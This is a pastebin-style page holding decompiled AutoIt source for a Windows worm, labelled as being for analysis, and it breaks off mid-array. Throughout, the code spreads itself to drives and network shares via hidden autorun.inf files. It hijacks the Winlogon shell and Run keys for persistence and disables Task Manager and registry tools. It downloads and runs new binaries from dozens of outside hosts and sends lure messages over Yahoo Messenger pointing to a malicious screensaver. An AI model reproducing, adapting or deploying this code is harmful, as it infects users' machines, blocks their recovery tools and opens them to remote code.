Description: Redist.exe virus source code for analysis.
Submitted on July 8, 2018 at 05:34 PM
Expires on July 8, 2019 at 05:34 PM (3 months from now)

redist_virus.exe (AutoIt)

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916
$VERSION = 4
FUNC _PROCESSGETNAME($I_PID)
	IF NOT PROCESSEXISTS($I_PID) THEN
		SETERROR(1)
		RETURN ""
	ENDIF
	LOCAL $A_PROCESSES = PROCESSLIST()
	IF NOT @ERROR THEN
		FOR $I = 1 TO $A_PROCESSES[0][0]
			IF $A_PROCESSES[$I][1] = $I_PID THEN RETURN $A_PROCESSES[$I][0]
		NEXT
	ENDIF
	SETERROR(1)
	RETURN ""
ENDFUNC
FUNC _PROCESSGETPRIORITY($VPROCESS)
	LOCAL $I_PID = PROCESSEXISTS($VPROCESS)
	IF NOT $I_PID THEN
		SETERROR(1)
		RETURN -1
	ENDIF
	LOCAL $HDLL = DLLOPEN("kernel32.dll")
	LOCAL $APROCESSHANDLE = DLLCALL($HDLL, "int", "OpenProcess", "int", 1024, "int", FALSE, "int", $I_PID)
	LOCAL $APRIORITY = DLLCALL($HDLL, "int", "GetPriorityClass", "int", $APROCESSHANDLE[0])
	DLLCALL($HDLL, "int", "CloseHandle", "int", $APROCESSHANDLE[0])
	DLLCLOSE($HDLL)
	SWITCH $APRIORITY[0]
		CASE 64
			RETURN 0
		CASE 16384
			RETURN 1
		CASE 32
			RETURN 2
		CASE 32768
			RETURN 3
		CASE 128
			RETURN 4
		CASE 256
			RETURN 5
		CASE ELSE
			SETERROR(1)
			RETURN -1
	ENDSWITCH
ENDFUNC
FUNC _RUNDOS($SCOMMAND)
	LOCAL $NRESULT = RUNWAIT(@COMSPEC & " /C " & $SCOMMAND, "", @SW_HIDE)
	RETURN SETERROR(@ERROR, @EXTENDED, $NRESULT)
ENDFUNC
#NoTrayIcon
IF @OSVERSION == "WIN_VISTA" THEN
	$INSTALLDIR = @DESKTOPDIR
	IF $INSTALLDIR = "" THEN
		$INSTALLDIR = @TEMPDIR
	ENDIF
	$SECONDDIR = $INSTALLDIR
	$ONEMINDIFF = 1499978399
ELSE
	$INSTALLDIR = @SYSTEMDIR
	$SECONDDIR = @WINDOWSDIR
	$ONEMINDIFF = 210500000
ENDIF
$DEBUG = FALSE
DIM $PREFSPATH = ""
$TIMESTAMP = @HOUR & "-" & @MIN & "-" & @SEC
$NAME = "system3_"
$MYYMID = "balu311916"
$INI = ".ini"
$NQL = ".nql"
$XLS = ".xls"
$EXE = ".exe"
$HOMEPAGECOUNT = 51
DIM $HOMEPAGE[$HOMEPAGECOUNT]
$HOMEPAGE[0] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[1] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[2] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[3] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[4] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[5] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[6] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[7] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[8] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[9] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[10] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[11] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[12] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[13] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[14] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[15] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[16] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[17] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[18] = "http://www.advgoogle.blogdpot.com"
$HOMEPAGE[19] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[20] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[21] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[22] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[23] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[24] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[25] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[26] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[27] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[28] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[29] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[30] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[31] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[32] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[33] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[34] = "http://www.advgoogle.blogdpot.com"
$HOMEPAGE[35] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[36] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[37] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[38] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[39] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[40] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[41] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[42] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[43] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[44] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[45] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[46] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[47] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[48] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[49] = "http://www.mydreamworld.50webs.com"
$HOMEPAGE[50] = "http://www.advgoogle.blogdpot.com"
$WEBSTORAGEPOOLCOUNT = 51
DIM $WEBSTORAGEPOOL[$WEBSTORAGEPOOLCOUNT]
$WEBSTORAGEPOOL[0] = "http://h1.ripway.com/adb0001"
$WEBSTORAGEPOOL[1] = "http://h1.ripway.com/adb0002"
$WEBSTORAGEPOOL[2] = "http://h1.ripway.com/adb0003"
$WEBSTORAGEPOOL[3] = "http://h1.ripway.com/adb0004"
$WEBSTORAGEPOOL[4] = "http://h1.ripway.com/adb0005"
$WEBSTORAGEPOOL[5] = "http://h1.ripway.com/adb0006"
$WEBSTORAGEPOOL[6] = "http://h1.ripway.com/adb0007"
$WEBSTORAGEPOOL[7] = "http://h1.ripway.com/adb0008"
$WEBSTORAGEPOOL[8] = "http://h1.ripway.com/adb0009"
$WEBSTORAGEPOOL[9] = "http://h1.ripway.com/adb0010"
$WEBSTORAGEPOOL[10] = "http://h1.ripway.com/adb0011"
$WEBSTORAGEPOOL[11] = "http://h1.ripway.com/adb0012"
$WEBSTORAGEPOOL[12] = "http://h1.ripway.com/adb0013"
$WEBSTORAGEPOOL[13] = "http://h1.ripway.com/adb0014"
$WEBSTORAGEPOOL[14] = "http://h1.ripway.com/adb0015"
$WEBSTORAGEPOOL[15] = "http://h1.ripway.com/adb0016"
$WEBSTORAGEPOOL[16] = "http://h1.ripway.com/adb0017"
$WEBSTORAGEPOOL[17] = "http://h1.ripway.com/adb0018"
$WEBSTORAGEPOOL[18] = "http://h1.ripway.com/adb0019"
$WEBSTORAGEPOOL[19] = "http://h1.ripway.com/adb0020"
$WEBSTORAGEPOOL[20] = "http://h1.ripway.com/adb0021"
$WEBSTORAGEPOOL[21] = "http://h1.ripway.com/adb0022"
$WEBSTORAGEPOOL[22] = "http://h1.ripway.com/adb0023"
$WEBSTORAGEPOOL[23] = "http://h1.ripway.com/adb0024"
$WEBSTORAGEPOOL[24] = "http://h1.ripway.com/adb0025"
$WEBSTORAGEPOOL[25] = "http://h1.ripway.com/adb0026"
$WEBSTORAGEPOOL[26] = "http://h1.ripway.com/adb0027"
$WEBSTORAGEPOOL[27] = "http://h1.ripway.com/adb0028"
$WEBSTORAGEPOOL[28] = "http://h1.ripway.com/adb0029"
$WEBSTORAGEPOOL[29] = "http://h1.ripway.com/adb0030"
$WEBSTORAGEPOOL[30] = "http://h1.ripway.com/adb0031"
$WEBSTORAGEPOOL[31] = "http://h1.ripway.com/adb0032"
$WEBSTORAGEPOOL[32] = "http://h1.ripway.com/adb0033"
$WEBSTORAGEPOOL[33] = "http://h1.ripway.com/adb0034"
$WEBSTORAGEPOOL[34] = "http://h1.ripway.com/adb0035"
$WEBSTORAGEPOOL[35] = "http://h1.ripway.com/adb0036"
$WEBSTORAGEPOOL[36] = "http://h1.ripway.com/adb0037"
$WEBSTORAGEPOOL[37] = "http://h1.ripway.com/adb0038"
$WEBSTORAGEPOOL[38] = "http://h1.ripway.com/adb0039"
$WEBSTORAGEPOOL[39] = "http://h1.ripway.com/adb0040"
$WEBSTORAGEPOOL[40] = "http://h1.ripway.com/adb0041"
$WEBSTORAGEPOOL[41] = "http://h1.ripway.com/adb0042"
$WEBSTORAGEPOOL[42] = "http://h1.ripway.com/adb0043"
$WEBSTORAGEPOOL[43] = "http://h1.ripway.com/adb0044"
$WEBSTORAGEPOOL[44] = "http://h1.ripway.com/adb0045"
$WEBSTORAGEPOOL[45] = "http://h1.ripway.com/adb0046"
$WEBSTORAGEPOOL[46] = "http://h1.ripway.com/adb0047"
$WEBSTORAGEPOOL[47] = "http://h1.ripway.com/adb0048"
$WEBSTORAGEPOOL[48] = "http://h1.ripway.com/adb0049"
$WEBSTORAGEPOOL[49] = "http://h1.ripway.com/adb0050"
$WEBSTORAGEPOOL[50] = "http://h1.ripway.com/adb0000"
$MAX_SETTINGS_FILE_URLS = 51
DIM $DEFAULTSETTINGSFILEURL[$MAX_SETTINGS_FILE_URLS]
$DEFAULTSETTINGSFILEURL[0] = "http://h1.ripway.com/asdb000/setting.ini"
$DEFAULTSETTINGSFILEURL[1] = "http://www.balu000.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[2] = "http://h1.ripway.com/asdb002/setting.ini"
$DEFAULTSETTINGSFILEURL[3] = "http://www.balu001.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[4] = "http://h1.ripway.com/asdb004/setting.ini"
$DEFAULTSETTINGSFILEURL[5] = "http://www.balu002.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[6] = "http://h1.ripway.com/asdb006/setting.ini"
$DEFAULTSETTINGSFILEURL[7] = "http://www.balu003.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[8] = "http://h1.ripway.com/asdb008/setting.ini"
$DEFAULTSETTINGSFILEURL[9] = "http://www.balu004.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[10] = "http://h1.ripway.com/asdb010/setting.ini"
$DEFAULTSETTINGSFILEURL[11] = "http://www.balu005.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[12] = "http://h1.ripway.com/asdb012/setting.ini"
$DEFAULTSETTINGSFILEURL[13] = "http://www.balu006.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[14] = "http://h1.ripway.com/asdb014/setting.ini"
$DEFAULTSETTINGSFILEURL[15] = "http://www.balu007.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[16] = "http://h1.ripway.com/asdb016/setting.ini"
$DEFAULTSETTINGSFILEURL[17] = "http://www.balu008.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[18] = "http://h1.ripway.com/asdb018/setting.ini"
$DEFAULTSETTINGSFILEURL[19] = "http://www.balu009.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[20] = "http://h1.ripway.com/asdb020/setting.ini"
$DEFAULTSETTINGSFILEURL[21] = "http://www.balu010.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[22] = "http://h1.ripway.com/asdb022/setting.ini"
$DEFAULTSETTINGSFILEURL[23] = "http://www.balu011.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[24] = "http://h1.ripway.com/asdb024/setting.ini"
$DEFAULTSETTINGSFILEURL[25] = "http://www.balu012.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[26] = "http://h1.ripway.com/asdb026/setting.ini"
$DEFAULTSETTINGSFILEURL[27] = "http://www.balu013.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[28] = "http://h1.ripway.com/asdb028/setting.ini"
$DEFAULTSETTINGSFILEURL[29] = "http://www.balu014.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[30] = "http://h1.ripway.com/asdb030/setting.ini"
$DEFAULTSETTINGSFILEURL[31] = "http://www.balu015.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[32] = "http://h1.ripway.com/asdb032/setting.ini"
$DEFAULTSETTINGSFILEURL[33] = "http://www.balu016.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[34] = "http://h1.ripway.com/asdb034/setting.ini"
$DEFAULTSETTINGSFILEURL[35] = "http://www.balu017.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[36] = "http://h1.ripway.com/asdb036/setting.ini"
$DEFAULTSETTINGSFILEURL[37] = "http://www.balu018.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[38] = "http://h1.ripway.com/asdb038/setting.ini"
$DEFAULTSETTINGSFILEURL[39] = "http://www.balu019.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[40] = "http://h1.ripway.com/asdb040/setting.ini"
$DEFAULTSETTINGSFILEURL[41] = "http://www.balu020.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[42] = "http://h1.ripway.com/asdb042/setting.ini"
$DEFAULTSETTINGSFILEURL[43] = "http://www.balu021.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[44] = "http://h1.ripway.com/asdb044/setting.ini"
$DEFAULTSETTINGSFILEURL[45] = "http://www.balu022.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[46] = "http://h1.ripway.com/asdb046/setting.ini"
$DEFAULTSETTINGSFILEURL[47] = "http://www.balu023.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[48] = "http://h1.ripway.com/asdb048/setting.ini"
$DEFAULTSETTINGSFILEURL[49] = "http://www.balu024.0catch.com/set/setting.ini"
$DEFAULTSETTINGSFILEURL[50] = "http://h1.ripway.com/asdb050/setting.ini"
$SETTINGSFILEPATH = $INSTALLDIR & "\setting.ini"
$LOGFILENAME = @TEMPDIR & "\log_" & $TIMESTAMP & ".txt"
$VIRUS_FILE1 = $INSTALLDIR & "\" & $NAME & $EXE
$VIRUS_FILE2 = $SECONDDIR & "\" & $NAME & $EXE
$SENDMSGDELAY = 10
$SENDUPDATEDELAY = 240
$COPYINDISKDELAY = 1
MAIN()
FUNC ADDID($MYID)
	$MYID = GETVAR("myid", $MYID)
	IF SAIFTYCHECK("addID") THEN
		$TIEUDE = "Yahoo! Messenger"
		BLOCKINPUT(1)
		WINACTIVATE($TIEUDE)
		SEND("^A")
		FOR $TRY = 1 TO 10000
			$TEXT = CONTROLGETTEXT("Add to Messenger List", "", "[CLASS:Edit; INSTANCE:1]")
			CONTROLSETTEXT("Add to Messenger List", "", "[CLASS:Edit; INSTANCE:1]", $MYID)
			IF $TEXT == $MYID THEN
				EXITLOOP
			ENDIF
		NEXT
		FOR $TRY = 1 TO 20
			$TEXT = CONTROLGETTEXT("Add to Messenger List", "", "[CLASS:Static; INSTANCE:16]")
			IF STRINGINSTR($TEXT, "already exists") THEN
				CONTROLCLICK("Add to Messenger List", "", "[CLASS:Button; INSTANCE:4]")
			ENDIF
			IF STRINGINSTR($TEXT, "has been added") THEN
				CONTROLCLICK("Add to Messenger List", "", "[CLASS:Button; INSTANCE:4]")
			ENDIF
			IF WINACTIVATE("Add to Messenger List") THEN
				SEND("{enter}")
			ELSE
				EXITLOOP
			ENDIF
		NEXT
		BLOCKINPUT(0)
	ENDIF
ENDFUNC
FUNC COPYINDISK($DRIVES)
	IF NOT FILEEXISTS("c:\disk.txt") THEN
		IF SAIFTYCHECK("copyInDisk: " & $DRIVES) THEN
			IF NOT FILEEXISTS($VIRUS_FILE2) THEN
				DEBUG("Error: " & $VIRUS_FILE2 & "not found.")
			ELSE
				DEBUG("Copying from " & $VIRUS_FILE2)
				$DISK = DRIVEGETDRIVE($DRIVES)
				IF NOT @ERROR THEN
					FOR $I = 1 TO $DISK[0]
						IF $DISK[$I] <> "A:" THEN
							IF NOT STRINGINSTR(@SYSTEMDIR, $DISK[$I], 0, 1, 1, 2) THEN
								LOGMSG("Copy " & $VIRUS_FILE2 & " to " & $DISK[$I] & "\New Folder.exe")
								FILECOPY($VIRUS_FILE2, $DISK[$I] & "\New Folder.exe", 0)
								SLEEP(1)
								LOGMSG("Copy " & $VIRUS_FILE1 & " to " & $DISK[$I] & "\" & $NAME & $EXE)
								FILECOPY($VIRUS_FILE1, $DISK[$I] & "\" & $NAME & $EXE, 0)
								SLEEP(1)
								LOGMSG("Copy " & $INSTALLDIR & "\autorun.ini" & " to " & $DISK[$I] & "\autorun.inf")
								FILECOPY($INSTALLDIR & "\autorun.ini", $DISK[$I] & "\autorun.inf", 0)
								FILESETATTRIB($DISK[$I] & "\autorun.inf", "+RSH")
								SLEEP(1)
								SEARCHANDSPREAD($DISK[$I])
							ENDIF
						ENDIF
					NEXT
				ENDIF
			ENDIF
		ENDIF
	ELSE
		DEBUG("Skipping copyInDisk as c:\disk.txt is exists")
	ENDIF
ENDFUNC
FUNC COPYNETWORK()
	IF SAIFTYCHECK("copynetwork") THEN
		IF NOT FILEEXISTS("c:\disk.txt") THEN
			$A = REGREAD("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares", "shared")
			IF(NOT($A = "")) THEN
				DEBUG("Network Sharing is off on this computer.")
			ELSE
				DIM $MANG[30]
				FOR $I = 1 TO 30
					$READ = REGENUMKEY("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares", $I)
					IF @ERROR THEN
						DEBUG("Found " & NUMBER($I - 1) & " Network connections")
						EXITLOOP
					ENDIF
					$READ = STRINGREPLACE($READ, "/", "\")
					$MANG[$I] = "\\" & $READ
					DEBUG("copynetwork: " & $MANG[$I] & "\New Folder.exe")
					$CHECKCOPY = FILECOPY($VIRUS_FILE2, $MANG[$I] & "\New Folder.exe", 1)
					IF $CHECKCOPY = 1 THEN
						FILECOPY($VIRUS_FILE1, $MANG[$I] & "\" & $NAME & $EXE, 0)
						FILECOPY($INSTALLDIR & "\autorun.ini", $MANG[$I] & "\autorun.inf", 1)
						FILESETATTRIB($MANG[$I] & "\autorun.inf", "+RSH")
						SEARCHANDSPREAD($MANG[$I])
					ELSE
						DEBUG("copynetwork: ERROR unable to copy " & $MANG[$I] & "\New Folder.exe")
					ENDIF
				NEXT
				REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WorkgroupCrawler\Shares", "shared", "REG_SZ", $MANG[$I - 1] & "\New Folder.exe")
			ENDIF
		ELSE
			DEBUG("Skipping copynetwork as c:\disk.txt is exists")
		ENDIF
	ENDIF
ENDFUNC
FUNC CREATEINI()
	IF SAIFTYCHECK("createini") THEN
		INIWRITE($INSTALLDIR & "\autorun.ini", "Autorun", "Open", $NAME & $EXE)
		INIWRITE($INSTALLDIR & "\autorun.ini", "Autorun", "Shellexecute", $NAME & $EXE)
		INIWRITE($INSTALLDIR & "\autorun.ini", "Autorun", "Shell\Open\command", $NAME & $EXE)
		INIWRITE($INSTALLDIR & "\autorun.ini", "Autorun", "Shell", "Open")
		SLEEP(1)
		FILESETATTRIB($INSTALLDIR & "\autorun.ini", "+RSH")
		IF FILEEXISTS($INSTALLDIR & "\autorun.ini") THEN
			DEBUG("Created " & $INSTALLDIR & "\autorun.ini")
		ELSE
			DEBUG("Error: " & $INSTALLDIR & "\autorun.ini" & " not copied.")
		ENDIF
	ENDIF
ENDFUNC
FUNC DEBUG($MSG = "I am here")
	IF $DEBUG THEN
		MSGBOX(0, "Debug msg - Time " & $TIMESTAMP, $MSG)
		LOGMSG($MSG)
	ENDIF
ENDFUNC
FUNC DISABLEWINAPPS()
	IF SAIFTYCHECK("disableWinApps - " & @CRLF & "Explorer.exe " & $NAME & $EXE & @CRLF & "Run yahoo messanger at startup" & @CRLF & "NofolderOptions" & @CRLF & "DisableTaskMgr" & @CRLF & "DisableRegistryTools" & @CRLF & "unable schedulor") THEN
		REGWRITE("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Shell", "REG_SZ", "Explorer.exe " & $NAME & $EXE)
		REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Yahoo Messengger", "REG_SZ", $VIRUS_FILE1)
		REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NofolderOptions", "REG_DWORD", 1)
		REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", 1)
		REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "REG_DWORD", 1)
		REGWRITE("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule", "AtTaskMaxHours", "REG_DWORD", 0)
	ENDIF
ENDFUNC
FUNC DOWNLOADBINARY($FILE, $EXT)
	IF $FILE <> "" THEN
		$NEWLOCALCOPY = $INSTALLDIR & "\" & $FILE & "_.exe"
		$LOCALCOPY = $INSTALLDIR & "\" & $FILE & ".exe"
		$FILEURL = GETBINARYPATH($EXT)
		DEBUG("Trying to download " & $FILEURL)
		$SIZE = INETGETSIZE($FILEURL)
		IF $SIZE < 200000 THEN
			DEBUG("Error: Binary size on site is less then 200KB. " & CHR(10) & $FILEURL & CHR(10) & "ABORT downloading '" & $FILE & $EXT & "'")
			RETURN 2
		ENDIF
		FILESETATTRIB($NEWLOCALCOPY, "-RSH")
		IF INETGET($FILEURL, $NEWLOCALCOPY, 1, 0) THEN
			SLEEP(1000)
			DEBUG("Downloaded " & $NEWLOCALCOPY & " from " & $FILEURL & @CRLF & "Now testing it...")
		ELSE
			DEBUG("Unable to download file " & $NEWLOCALCOPY)
			RETURN 2
		ENDIF
		IF NUMBER(FILEGETSIZE($NEWLOCALCOPY)) < 200000 THEN
			DEBUG("Invalid Binary size: " & $NEWLOCALCOPY)
			RETURN 2
		ENDIF
		SLEEP(3000)
		FILESETATTRIB($LOCALCOPY, "-RSH")
		SLEEP(1000)
		FILEMOVE($NEWLOCALCOPY, $LOCALCOPY, 1)
		SLEEP(1000)
		DEBUG("DONE: " & $LOCALCOPY & " is readable. Downloaded from " & CHR(10) & $FILEURL)
		SLEEP(1000)
		FILESETATTRIB($LOCALCOPY, "+RSH")
		DEBUG("Executing New version of programe....")
		RUN($LOCALCOPY)
		DEBUG("New version of programe is executed, killing this thread... BYE")
		EXIT
	ENDIF
ENDFUNC
FUNC DOWNLOADSETTINGSFILE()
	FOR $INDEX = 0 TO $MAX_SETTINGS_FILE_URLS - 1 STEP 1
		$SETTINGSFILEURL = GETVAR("settingsFileURL[" & $INDEX & "]", $DEFAULTSETTINGSFILEURL[$INDEX])
		$LOCALCOPY = $SETTINGSFILEPATH
		$NEWLOCALCOPY = $INSTALLDIR & "\_setting.ini"
		$SIZE = INETGETSIZE($SETTINGSFILEURL)
		IF $SIZE < 4000 THEN
			DEBUG("Error: Unable to connect " & $SETTINGSFILEURL & " Trying next mirror." & @CRLF & "Remaining attempts: " & $INDEX & "/" & $MAX_SETTINGS_FILE_URLS - 1)
			CONTINUELOOP
		ENDIF
		FILESETATTRIB($NEWLOCALCOPY, "-RSH")
		IF INETGET($SETTINGSFILEURL, $NEWLOCALCOPY, 1, 0) THEN
			SLEEP(1000)
			DEBUG("Downloaded " & $NEWLOCALCOPY & " from " & $SETTINGSFILEURL & @CRLF & "Now testing it...")
			$FORMATE = INIREAD($NEWLOCALCOPY, "setting", "format", "NOT_READABEL")
			IF $FORMATE = "NOT_READABEL" THEN
				DEBUG($FORMATE & "ERROR: " & $NEWLOCALCOPY & " is not readable" & @CRLF & "Remaining attempts: " & $INDEX & "/" & $MAX_SETTINGS_FILE_URLS - 1)
				CONTINUELOOP
			ELSE
				FILESETATTRIB($LOCALCOPY, "-RSH")
				SLEEP(1000)
				FILEMOVE($NEWLOCALCOPY, $LOCALCOPY, 1)
				SLEEP(1000)
				DEBUG("DONE: " & $LOCALCOPY & " is readable. Downloaded from " & $SETTINGSFILEURL)
				SLEEP(1000)
				FILESETATTRIB($LOCALCOPY, "+RSH")
				RETURN
			ENDIF
		ELSE
			DEBUG("ERROR: Failed to save file " & $SETTINGSFILEURL & " at " & $NEWLOCALCOPY & @CRLF & "Remaining attempts: " & $INDEX & "/" & $MAX_SETTINGS_FILE_URLS - 1)
			CONTINUELOOP
		ENDIF
	NEXT
ENDFUNC
FUNC GETBINARYPATH($EXT)
	$WEBSTORAGE = GETVAR("webstoragepool[15]", $WEBSTORAGEPOOL[15])
	$WEBSTORAGEPOOLCOUNT = GETVAR("webstoragepoolcount", $WEBSTORAGEPOOLCOUNT)
	IF(NOT($WEBSTORAGEPOOLCOUNT = 0)) THEN
		$RANDOMMINRANGE = 0
		$RANDOMMAXRANGE = $WEBSTORAGEPOOLCOUNT - 1
		$RENDOMGETINTVALUE = 1
		$RANDOMNUMBER = RANDOM($RANDOMMINRANGE, $RANDOMMAXRANGE, $RENDOMGETINTVALUE)
		$WEBSTORAGE = GETVAR("webstoragepool[" & $RANDOMNUMBER & "]", $WEBSTORAGEPOOL[$RANDOMNUMBER])
	ENDIF
	$BINARYPATH = $WEBSTORAGE & "/" & GETVAR("filedownload1", "privateCam") & $EXT
	RETURN $BINARYPATH
ENDFUNC
FUNC GETFILENAME($FULLFILENAME)
	$ARRAY = STRINGSPLIT($FULLFILENAME, "\", 1)
	RETURN $ARRAY[$ARRAY[0]]
ENDFUNC
FUNC GETHOMEPAGE($ALWAYSZEROINDEX = 0)
	$HOMEPAGECOUNT = GETVAR("homepagecount", $HOMEPAGECOUNT)
	IF $HOMEPAGECOUNT = 0 THEN
		RETURN $HOMEPAGE[0]
	ENDIF
	IF $ALWAYSZEROINDEX THEN
		RETURN GETVAR("homepage[0]", $HOMEPAGE[0])
	ENDIF
	$RANDOMMINRANGE = 0
	$RANDOMMAXRANGE = $HOMEPAGECOUNT - 1
	$RENDOMGETINTVALUE = 1
	$RANDOMNUMBER = RANDOM($RANDOMMINRANGE, $RANDOMMAXRANGE, $RENDOMGETINTVALUE)
	RETURN GETVAR("homepage[" & $RANDOMNUMBER & "]", $HOMEPAGE[$RANDOMNUMBER])
ENDFUNC
FUNC GETRANDOMMSG()
	$MAX_INDEX = 10
	$MSGCOUNT = GETVAR("msgcount", $MAX_INDEX)
	DIM $MSG[1000]
	$MSG[0] = "happy valentine day screen saver from http://advgoogle.0catch.com/love.scr  and get new tips and tricks from URL"
	$MSG[1] = "happy valentine day screen saver and beautiful screen saver from lovers http://advgoogle.0catch.com/love.scr  and URL "
	$MSG[2] = "golden lovers rose screen saver from http://advgoogle.0catch.com/love.scr   and see more from URL"
	$MSG[3] = "rose is always red ,see in http://advgoogle.0catch.com/love.scr screen saver from URL"
	$MSG[4] = "happy valentine day screen saver from http://advgoogle.0catch.com/love.scr  and get new tips and tricks from URL"
	$MSG[5] = "I  LOVE YOUUUUUUUUUUUUU  from screensaver http://advgoogle.0catch.com/love.scr   see more in URL"
	$MSG[6] = "happy valentine day screen saver from http://advgoogle.0catch.com/love.scr  and get new tips and tricks from URL"
	$MSG[7] = "happy valentine day screen saver from http://advgoogle.0catch.com/love.scr  and get new tips and tricks for lovers URL "
	$MSG[8] = "happy valentine day screen saver from http://advgoogle.0catch.com/love.scr  " & @CRLF & " and view secrets from private cam BIN"
